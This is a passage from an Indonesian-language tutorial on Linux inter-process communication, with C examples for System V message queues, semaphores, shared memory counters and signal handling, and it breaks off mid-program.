Argumen pertama, msgid, mengenali antrian pesan, yaitu pengenal antrian pesan. Nilai pengenal diterima setelah keberhasilan msgget ()
Argumen kedua, cmd, adalah perintah untuk melakukan operasi kontrol yang diperlukan pada antrian pesan. Nilai yang valid untuk cmd adalah -
IPC_STAT- Menyalin informasi dari nilai saat ini dari setiap anggota struct msqid_ds ke struktur yang lewat yang ditunjukkan oleh buf. Perintah ini membutuhkan izin baca pada antrian pesan.
IPC_SET - Menetapkan ID pengguna, ID grup dari pemilik, izin dll yang ditunjukkan oleh struktur buf.
IPC_RMID - Menghapus antrian pesan dengan segera.
IPC_INFO - Mengembalikan informasi tentang batas antrian pesan dan parameter dalam struktur yang ditunjukkan oleh buf, yang berjenis struct msginfo
MSG_INFO - Mengembalikan struktur msginfo yang berisi informasi tentang sumber daya sistem yang dikonsumsi oleh antrian pesan.
Argumen ketiga, buf, adalah penunjuk ke struktur antrian pesan bernama struct msqid_ds. Nilai struktur ini akan digunakan baik untuk set atau get sesuai cmd.
Panggilan ini akan mengembalikan nilai tergantung pada perintah yang diberikan. Keberhasilan IPC_INFO dan MSG_INFO atau MSG_STAT mengembalikan indeks atau pengidentifikasi antrian pesan atau 0 untuk operasi lain dan -1 dalam kasus kegagalan. Untuk mengetahui penyebab kegagalan, periksa dengan variabel errno atau fungsi perror ().
Setelah melihat informasi dasar dan panggilan sistem yang berkaitan dengan antrian pesan, sekarang saatnya untuk memeriksa dengan program.
Mari kita lihat deskripsinya sebelum melihat program -
Step 1 - Buat dua proses, satu untuk mengirim ke antrian pesan (msgq_send.c) dan yang lainnya untuk mengambil dari antrian pesan (msgq_recv.c)
Step 2- Membuat kunci menggunakan fungsi ftok (). Untuk ini, awalnya file msgq.txt dibuat untuk mendapatkan kunci unik.
Step 3 - Proses pengiriman melakukan hal berikut.
Membaca input string dari pengguna
Menghapus baris baru, jika ada
Mengirim ke antrian pesan
Ulangi proses tersebut hingga akhir input (CTRL + D)
Setelah akhir masukan diterima, mengirimkan pesan "akhir" untuk menandai akhir dari proses
Step 4 - Dalam proses penerimaan, lakukan hal berikut.
- Membaca pesan dari antrian
- Menampilkan output
- Jika pesan yang diterima adalah "end", selesaikan prosesnya dan keluar
Untuk menyederhanakan, kami tidak menggunakan jenis pesan untuk sampel ini. Selain itu, satu proses menulis ke antrian dan proses lainnya membaca dari antrian. Ini dapat diperpanjang sesuai kebutuhan yaitu, idealnya satu proses akan menulis ke dalam antrian dan beberapa proses akan dibaca dari antrian.
Sekarang, mari kita periksa prosesnya (pengiriman pesan ke antrian) - File: msgq_send.c
/* Filename: msgq_send.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int len;
key_t key;
system("touch msgq.txt");
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
printf("message queue: ready to send messages.\n");
printf("Enter lines of text, ^D to quit:\n");
buf.mtype = 1; /* we don't really care in this case */
while(fgets(buf.mtext, sizeof buf.mtext, stdin) != NULL) {
len = strlen(buf.mtext);
/* remove newline at end, if it exists */
if (buf.mtext[len-1] == '\n') buf.mtext[len-1] = '\0';
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
}
strcpy(buf.mtext, "end");
len = strlen(buf.mtext);
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
if (msgctl(msqid, IPC_RMID, NULL) == -1) {
perror("msgctl");
exit(1);
}
printf("message queue: done sending messages.\n");
return 0;
}
Langkah Kompilasi dan Eksekusi
message queue: ready to send messages.
Enter lines of text, ^D to quit:
this is line 1
this is line 2
message queue: done sending messages.
Berikut adalah kode dari proses penerimaan pesan (mengambil pesan dari antrian) - File: msgq_recv.c
/* Filename: msgq_recv.c */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int toend;
key_t key;
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS)) == -1) { /* connect to the queue */
perror("msgget");
exit(1);
}
printf("message queue: ready to receive messages.\n");
for(;;) { /* normally receiving never ends but just to make conclusion
/* this program ends wuth string of end */
if (msgrcv(msqid, &buf, sizeof(buf.mtext), 0, 0) == -1) {
perror("msgrcv");
exit(1);
}
printf("recvd: \"%s\"\n", buf.mtext);
toend = strcmp(buf.mtext,"end");
if (toend == 0)
break;
}
printf("message queue: done receiving messages.\n");
system("rm msgq.txt");
return 0;
}
Langkah Kompilasi dan Eksekusi
message queue: ready to receive messages.
recvd: "this is line 1"
recvd: "this is line 2"
recvd: "end"
message queue: done receiving messages.
Pertanyaan pertama yang muncul di benak kita adalah, mengapa kita membutuhkan semaphore? Jawaban sederhana, untuk melindungi wilayah kritis / umum yang digunakan bersama di antara berbagai proses.
Mari kita asumsikan, beberapa proses menggunakan wilayah kode yang sama dan jika semua ingin mengakses secara paralel maka hasilnya akan tumpang tindih. Katakanlah, misalnya, beberapa pengguna hanya menggunakan satu printer (bagian umum / kritis), katakanlah 3 pengguna, diberi 3 pekerjaan pada saat yang sama, jika semua pekerjaan dimulai secara paralel, maka satu keluaran pengguna tumpang tindih dengan yang lain. Jadi, kita perlu melindungi itu menggunakan semaphores yaitu, mengunci bagian kritis ketika satu proses sedang berjalan dan membuka kunci ketika itu selesai. Ini akan diulangi untuk setiap pengguna / proses sehingga satu pekerjaan tidak tumpang tindih dengan pekerjaan lain.
Pada dasarnya semaphore diklasifikasikan menjadi dua jenis -
Binary Semaphores - Hanya dua status 0 & 1, yaitu, terkunci / tidak terkunci atau tersedia / tidak tersedia, implementasi Mutex.
Counting Semaphores - Semaphore yang memungkinkan penghitungan sumber daya sewenang-wenang disebut menghitung semaphore.
Asumsikan bahwa kita memiliki 5 printer (untuk dipahami asumsikan bahwa 1 printer hanya menerima 1 pekerjaan) dan kita mendapat 3 pekerjaan untuk dicetak. Sekarang 3 pekerjaan akan diberikan untuk 3 printer (masing-masing 1). Sekali lagi 4 pekerjaan datang saat ini sedang berlangsung. Sekarang, dari 2 printer yang tersedia, 2 pekerjaan telah dijadwalkan dan kami memiliki 2 pekerjaan lagi, yang akan diselesaikan hanya setelah salah satu sumber daya / printer tersedia. Jenis penjadwalan sesuai ketersediaan sumber daya dapat dilihat sebagai penghitungan semaphore.
Untuk melakukan sinkronisasi menggunakan semaphores, berikut langkah-langkahnya -
Step 1 - Buat semaphore atau hubungkan ke semaphore yang sudah ada (semget ())
Step 2 - Lakukan operasi pada semaphore yaitu mengalokasikan atau melepaskan atau menunggu sumber daya (semop ())
Step 3 - Lakukan operasi kontrol pada antrian pesan (semctl ())
Sekarang, mari kita periksa ini dengan panggilan sistem yang kita miliki.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semget(key_t key, int nsems, int semflg)
Panggilan sistem ini membuat atau mengalokasikan set semafor Sistem V. Argumen berikut harus diteruskan -
Argumen pertama, key, mengenali antrian pesan. Kuncinya bisa berupa nilai arbitrer atau yang bisa diturunkan dari fungsi library ftok ().
Argumen kedua, nsems, menentukan jumlah semaphore. Jika biner maka itu adalah 1, berarti membutuhkan 1 set semaphore, jika tidak sesuai jumlah jumlah set semaphore yang diperlukan.
Argumen ketiga, semflg, menentukan flag semaphore yang diperlukan seperti IPC_CREAT (membuat semaphore jika tidak ada) atau IPC_EXCL (digunakan dengan IPC_CREAT untuk membuat semaphore dan panggilan gagal, jika semaphore sudah ada). Harus melewati izin juga.
Note - Lihat bagian sebelumnya untuk detail tentang izin.
Panggilan ini akan mengembalikan pengenal semaphore yang valid (digunakan untuk panggilan semaphore lebih lanjut) saat berhasil dan -1 jika terjadi kegagalan. Untuk mengetahui penyebab kegagalan, periksa dengan variabel errno atau fungsi perror ().
Berbagai kesalahan sehubungan dengan panggilan ini adalah EACCESS (izin ditolak), EEXIST (antrian sudah ada tidak dapat dibuat), ENOENT (antrian tidak ada), ENOMEM (tidak cukup memori untuk membuat antrian), ENOSPC (batas set maksimum terlampaui), dll.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semop(int semid, struct sembuf *semops, size_t nsemops)
Panggilan sistem ini melakukan operasi pada set semafor Sistem V yaitu, mengalokasikan sumber daya, menunggu sumber daya atau membebaskan sumber daya. Argumen berikut harus diteruskan -
Argumen pertama, semid, menunjukkan pengenal set semaphore yang dibuat oleh semget ().
Argumen kedua, semops, adalah penunjuk ke larik operasi yang akan dilakukan pada set semafor. Strukturnya adalah sebagai berikut -
struct sembuf {
unsigned short sem_num; /* Semaphore set num */
short sem_op; /* Semaphore operation */
short sem_flg; /* Operation flags, IPC_NOWAIT, SEM_UNDO */
};
Elemen, sem_op, dalam struktur di atas, menunjukkan operasi yang perlu dilakukan -
Jika sem_op adalah –ve, alokasikan atau dapatkan sumber daya. Memblokir proses panggilan hingga sumber daya yang cukup telah dibebaskan oleh proses lain, sehingga proses ini dapat dialokasikan.
Jika sem_op nol, proses pemanggilan menunggu atau tidur sampai nilai semaphore mencapai 0.
Jika sem_op + ve, lepaskan resource.
Misalnya -
struct sembuf sem_lock = {0, -1, SEM_UNDO};
struct sembuf sem_unlock = {0, 1, SEM_UNDO};
Argumen ketiga, nsemops, adalah jumlah operasi dalam larik itu.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semctl(int semid, int semnum, int cmd, …)
Panggilan sistem ini melakukan operasi kontrol untuk semafor Sistem V. Argumen berikut harus diteruskan -
Argumen pertama, semid, adalah pengidentifikasi semafor. Id ini adalah pengenal semaphore, yang merupakan nilai kembalian dari panggilan sistem semget ().
Argumen kedua, semnum, adalah jumlah semafor. Semaphore diberi nomor dari 0.
Argumen ketiga, cmd, adalah perintah untuk melakukan operasi kontrol yang diperlukan pada semafor.
Argumen keempat, tipe, union semun, bergantung pada cmd. Untuk beberapa kasus, argumen keempat tidak dapat diterapkan.
Mari kita periksa serikat semun -
union semun {
int val; /* val for SETVAL */
struct semid_ds *buf; /* Buffer for IPC_STAT and IPC_SET */
unsigned short *array; /* Buffer for GETALL and SETALL */
struct seminfo *__buf; /* Buffer for IPC_INFO and SEM_INFO*/
};
Struktur data semid_ds yang didefinisikan dalam sys / sem.h adalah sebagai berikut -
struct semid_ds {
struct ipc_perm sem_perm; /* Permissions */
time_t sem_otime; /* Last semop time */
time_t sem_ctime; /* Last change time */
unsigned long sem_nsems; /* Number of semaphores in the set */
};
Note - Silakan merujuk halaman manual untuk struktur data lainnya.
serikat semun arg; Nilai yang valid untuk cmd adalah -
IPC_STAT- Menyalin informasi dari nilai saat ini dari setiap anggota struct semid_ds ke struktur yang dilewati yang ditunjukkan oleh arg.buf. Perintah ini membutuhkan izin baca ke semafor.
IPC_SET - Menetapkan ID pengguna, ID grup pemilik, izin, dll. Yang ditunjukkan oleh struktur semid_ds.
IPC_RMID - Menghapus set semaphores.
IPC_INFO - Mengembalikan informasi tentang batas dan parameter semaphore dalam struktur semid_ds yang ditunjukkan oleh arg .__ buf.
SEM_INFO - Mengembalikan struktur seminfo yang berisi informasi tentang sumber daya sistem yang dikonsumsi oleh semafor.
Panggilan ini akan mengembalikan nilai (nilai non-negatif) tergantung pada perintah yang diteruskan. Setelah berhasil, IPC_INFO dan SEM_INFO atau SEM_STAT mengembalikan indeks atau pengenal entri tertinggi yang digunakan sesuai Semaphore atau nilai semncnt untuk GETNCNT atau nilai sempid untuk GETPID atau nilai semval untuk GETVAL 0 untuk operasi lain pada saat berhasil dan - 1 jika terjadi kegagalan. Untuk mengetahui penyebab kegagalan, periksa dengan variabel errno atau fungsi perror ().
Sebelum melihat kodenya, mari kita pahami implementasinya -
Buat dua proses katakanlah, anak dan orang tua.
Buat memori bersama terutama yang diperlukan untuk menyimpan penghitung dan tanda lainnya untuk menunjukkan akhir proses baca / tulis ke dalam memori bersama.
Penghitung bertambah menurut hitungan oleh proses induk dan anak. Hitungan diteruskan sebagai argumen baris perintah atau diambil sebagai default (jika tidak diteruskan sebagai argumen baris perintah atau nilainya kurang dari 10000). Dipanggil dengan waktu tidur tertentu untuk memastikan kedua orang tua dan anak mengakses memori bersama pada saat yang sama, yaitu secara paralel.
Karena, penghitung bertambah dalam langkah 1 oleh orang tua dan anak, nilai akhir harus menggandakan penghitung. Karena, kedua proses induk dan anak melakukan operasi pada waktu yang sama, penghitung tidak bertambah seperti yang diperlukan. Oleh karena itu, kita perlu memastikan kelengkapan satu proses penyelesaian diikuti dengan proses lainnya.
Semua implementasi di atas dilakukan di file shm_write_cntr.c
Periksa apakah nilai penghitung diimplementasikan dalam file shm_read_cntr.c
Untuk memastikan penyelesaian, program semaphore diimplementasikan dalam file shm_write_cntr_with_sem.c. Hapus semaphore setelah menyelesaikan seluruh proses (setelah membaca dilakukan dari program lain)
Karena, kami memiliki file terpisah untuk membaca nilai penghitung di memori bersama dan tidak memiliki efek apa pun dari penulisan, program membaca tetap sama (shm_read_cntr.c)
Itu selalu lebih baik untuk menjalankan program penulisan di satu terminal dan membaca program dari terminal lain. Karena, program menyelesaikan eksekusi hanya setelah proses menulis dan membaca selesai, maka tidak masalah untuk menjalankan program setelah menjalankan program tulis sepenuhnya. Program tulis akan menunggu hingga program baca dijalankan dan hanya selesai setelah selesai.
Program tanpa semaphore.
/* Filename: shm_write_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count);
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
Langkah Kompilasi dan Eksekusi
Total Count is 10000
SHM_WRITE: PARENT: Now writing
SHM_WRITE: CHILD: Now writing
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete
Sekarang, mari kita periksa program membaca memori bersama.
/* Filename: shm_read_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
int total_count;
int cntr;
int sleep_time;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Read the shared memory cntr and print it on standard output */
while (shmp->write_complete != 1) {
if (shmp->cntr == -1) {
perror("read");
return 1;
}
sleep(3);
}
printf("Reading Process: Shared Memory: Counter is %d\n", shmp->cntr);
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
shmp->read_complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
Langkah Kompilasi dan Eksekusi
Reading Process: Shared Memory: Counter is 11000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
Jika Anda mengamati keluaran di atas, penghitung harus 20000, namun, karena sebelum menyelesaikan satu tugas proses, proses lain juga diproses secara paralel, nilai penghitung tidak seperti yang diharapkan. Output akan bervariasi dari sistem ke sistem dan juga akan bervariasi dengan setiap eksekusi. Untuk memastikan kedua proses menjalankan tugas setelah menyelesaikan satu tugas, itu harus dilaksanakan menggunakan mekanisme sinkronisasi.
Sekarang, mari kita periksa aplikasi yang sama menggunakan semaphores.
Note - Program membaca tetap sama.
/* Filename: shm_write_cntr_with_sem.c */
#include<stdio.h>
#include<sys/types.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/sem.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
#define SEM_KEY 0x54321
#define MAX_TRIES 20
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int, struct shmseg*, int);
void remove_semaphore();
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach: ");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
remove_semaphore();
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
int semid;
struct sembuf sem_buf;
struct semid_ds buf;
int tries;
int retval;
semid = semget(SEM_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
//printf("errno is %d and semid is %d\n", errno, semid);
/* Got the semaphore */
if (semid >= 0) {
printf("First Process\n");
sem_buf.sem_op = 1;
sem_buf.sem_flg = 0;
sem_buf.sem_num = 0;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Operation: ");
return;
}
} else if (errno == EEXIST) { // Already other process got it
int ready = 0;
printf("Second Process\n");
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Semaphore GET: ");
return;
}
/* Waiting for the resource */
sem_buf.sem_num = 0;
sem_buf.sem_op = 0;
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
}
sem_buf.sem_num = 0;
sem_buf.sem_op = -1; /* Allocating the resources */
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
sem_buf.sem_op = 1; /* Releasing the resource */
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked\n");
return;
}
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
void remove_semaphore() {
int semid;
int retval;
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Remove Semaphore: Semaphore GET: ");
return;
}
retval = semctl(semid, 0, IPC_RMID);
if (retval == -1) {
perror("Remove Semaphore: Semaphore CTL: ");
return;
}
return;
}
Langkah Kompilasi dan Eksekusi
Total Count is 10000
First Process
SHM_WRITE: PARENT: Now writing
Second Process
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Now writing
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete
Sekarang, kita akan memeriksa nilai penghitung dengan proses membaca.
Langkah Eksekusi
Reading Process: Shared Memory: Counter is 20000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
SEBUAH signaladalah pemberitahuan ke proses yang menunjukkan terjadinya suatu peristiwa. Sinyal juga disebutsoftware interrupt dan tidak dapat diprediksi untuk diketahui kemunculannya, maka itu disebut juga asynchronous event.
Sinyal dapat ditentukan dengan nomor atau nama, biasanya nama sinyal dimulai dengan SIG. Sinyal yang tersedia dapat diperiksa dengan perintah kill –l (l untuk daftar nama sinyal), yaitu sebagai berikut -
Setiap kali sinyal dibesarkan (baik secara terprogram atau sinyal yang dihasilkan sistem), tindakan default dilakukan. Bagaimana jika Anda tidak ingin melakukan tindakan default tetapi ingin melakukan tindakan Anda sendiri saat menerima sinyal? Apakah ini mungkin untuk semua sinyal? Ya, itu mungkin untuk menangani sinyal tetapi tidak untuk semua sinyal. Bagaimana jika Anda ingin mengabaikan sinyal, apakah ini mungkin? Ya, dimungkinkan untuk mengabaikan sinyal. Mengabaikan sinyal berarti tidak melakukan tindakan default maupun menangani sinyal. Dimungkinkan untuk mengabaikan atau menangani hampir semua sinyal. Sinyal yang tidak dapat diabaikan atau ditangani / ditangkap adalah SIGSTOP dan SIGKILL.
Singkatnya, tindakan yang dilakukan untuk sinyal adalah sebagai berikut -
- Tindakan Default
- Tangani sinyalnya
- Abaikan sinyalnya
Seperti yang telah dibahas, sinyal dapat ditangani dengan mengubah eksekusi tindakan default. Penanganan sinyal dapat dilakukan dengan salah satu dari dua cara yaitu, melalui panggilan sistem, sinyal () dan sigaction ().
#include <signal.h>
typedef void (*sighandler_t) (int);
sighandler_t signal(int signum, sighandler_t handler);
Sinyal panggilan sistem () akan memanggil penangan terdaftar pada generasi sinyal seperti yang disebutkan dalam signum. Penangan dapat berupa salah satu dari SIG_IGN (Mengabaikan Sinyal), SIG_DFL (Pengaturan sinyal kembali ke mekanisme default) atau penangan sinyal yang ditentukan pengguna atau alamat fungsi.
Panggilan sistem ini saat berhasil mengembalikan alamat dari suatu fungsi yang menggunakan argumen integer dan tidak memiliki nilai kembali. Panggilan ini mengembalikan SIG_ERR jika terjadi kesalahan.
Meskipun dengan signal () masing-masing penangan sinyal yang didaftarkan oleh pengguna dapat dipanggil, penyetelan halus seperti menutupi sinyal yang harus diblokir, memodifikasi perilaku sinyal, dan fungsi lainnya tidak dimungkinkan. Ini dimungkinkan menggunakan panggilan sistem sigaction ().
#include <signal.h>
int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)
Panggilan sistem ini digunakan untuk memeriksa atau mengubah tindakan sinyal. Jika tindakan tidak null, tindakan baru untuk sinyal signum diinstal dari tindakan. Jika oldact tidak null, tindakan sebelumnya disimpan di oldact.
Struktur sigaction berisi bidang berikut -
Field 1 - Handler disebutkan baik dalam sa_handler atau sa_sigaction.
void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);
Handler untuk sa_handler menentukan tindakan yang akan dilakukan berdasarkan signum dan dengan SIG_DFL menunjukkan tindakan default atau SIG_IGN untuk mengabaikan sinyal atau penunjuk ke fungsi penanganan sinyal.
Handler untuk sa_sigaction menentukan nomor sinyal sebagai argumen pertama, penunjuk ke struktur siginfo_t sebagai argumen kedua dan penunjuk ke konteks pengguna (periksa getcontext () atau setcontext () untuk detail lebih lanjut) sebagai argumen ketiga.
Struktur siginfo_t berisi informasi sinyal seperti nomor sinyal yang akan dikirim, nilai sinyal, id proses, id pengguna nyata dari proses pengiriman, dll.
Field 2 - Set sinyal yang akan diblokir.
int sa_mask;
Variabel ini menentukan topeng sinyal yang harus diblokir selama eksekusi penangan sinyal.
Field 3 - Bendera khusus.
int sa_flags;
Bidang ini menetapkan satu set bendera yang mengubah perilaku sinyal.
Field 4 - Kembalikan pawang.
void (*sa_restorer) (void);
Panggilan sistem ini mengembalikan 0 jika berhasil dan -1 jika gagal.
Mari kita pertimbangkan beberapa program contoh.
Pertama, mari kita mulai dengan program contoh, yang menghasilkan pengecualian. Dalam program ini, kami mencoba melakukan operasi divide by zero, yang membuat sistem menghasilkan pengecualian.
/* signal_fpe.c */
#include<stdio.h>
int main() {
int result;
int v1, v2;
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
Langkah Kompilasi dan Eksekusi
Floating point exception (core dumped)
Jadi, ketika kami mencoba melakukan operasi aritmatika, sistem telah menghasilkan pengecualian floating point dengan core dump, yang merupakan aksi default dari sinyal.
Sekarang, mari kita ubah kode untuk menangani sinyal khusus ini menggunakan pemanggilan sistem signal ().
/* signal_fpe_handler.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_dividebyzero(int signum);
int main() {
int result;
int v1, v2;
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGFPE, handler_dividebyzero);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
void handler_dividebyzero(int signum) {
if (signum == SIGFPE) {
printf("Received SIGFPE, Divide by Zero Exception\n");
exit (0);
}
else
printf("Received %d Signal\n", signum);
return;
}
Langkah Kompilasi dan Eksekusi
Received SIGFPE, Divide by Zero Exception
Seperti yang telah dibahas, sinyal dihasilkan oleh sistem (setelah melakukan operasi tertentu seperti membagi dengan nol, dll.) Atau pengguna juga dapat menghasilkan sinyal secara terprogram. Jika Anda ingin menghasilkan sinyal secara terprogram, gunakan fungsi library raise ().
Sekarang, mari kita ambil program lain untuk mendemonstrasikan penanganan dan mengabaikan sinyal.
Asumsikan bahwa kita telah menaikkan sinyal menggunakan raise (), lalu apa yang terjadi? Setelah sinyal dinaikkan, eksekusi proses saat ini dihentikan. Lalu apa yang terjadi dengan proses yang dihentikan? Mungkin ada dua skenario - Pertama, lanjutkan eksekusi kapan pun diperlukan. Kedua, akhiri (dengan perintah kill) prosesnya.
Untuk melanjutkan eksekusi proses yang dihentikan, kirim SIGCONT ke proses tersebut. Anda juga dapat mengeluarkan perintah fg (foreground) atau bg (background) untuk melanjutkan eksekusi. Di sini, perintah hanya akan memulai kembali eksekusi dari proses terakhir. Jika lebih dari satu proses dihentikan, maka hanya proses terakhir yang dilanjutkan. Jika Anda ingin melanjutkan proses yang sebelumnya dihentikan, lanjutkan pekerjaan (menggunakan fg / bg) bersama dengan nomor pekerjaan.
Program berikut ini digunakan untuk menaikkan sinyal SIGSTOP menggunakan fungsi raise (). Signal SIGSTOP juga dapat dihasilkan dengan menekan tombol CTRL + Z (Control + Z) pengguna. Setelah mengeluarkan sinyal ini, program akan berhenti dijalankan. Kirim sinyal (SIGCONT) untuk melanjutkan eksekusi.
Dalam contoh berikut, kami melanjutkan proses yang dihentikan dengan perintah fg.
/* signal_raising.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
int main() {
printf("Testing SIGSTOP\n");
raise(SIGSTOP);
return 0;
}
Langkah Kompilasi dan Eksekusi
Testing SIGSTOP
[1]+ Stopped ./a.out
./a.out
Sekarang, tingkatkan program sebelumnya untuk melanjutkan eksekusi dari proses yang dihentikan dengan menerbitkan SIGCONT dari terminal lain.
/* signal_stop_continue.c */
#include<stdio.h>
#include<signal.h>
#include <sys/types.h>
#include <unistd.h>
void handler_sigtstp(int signum);
int main() {
pid_t pid;
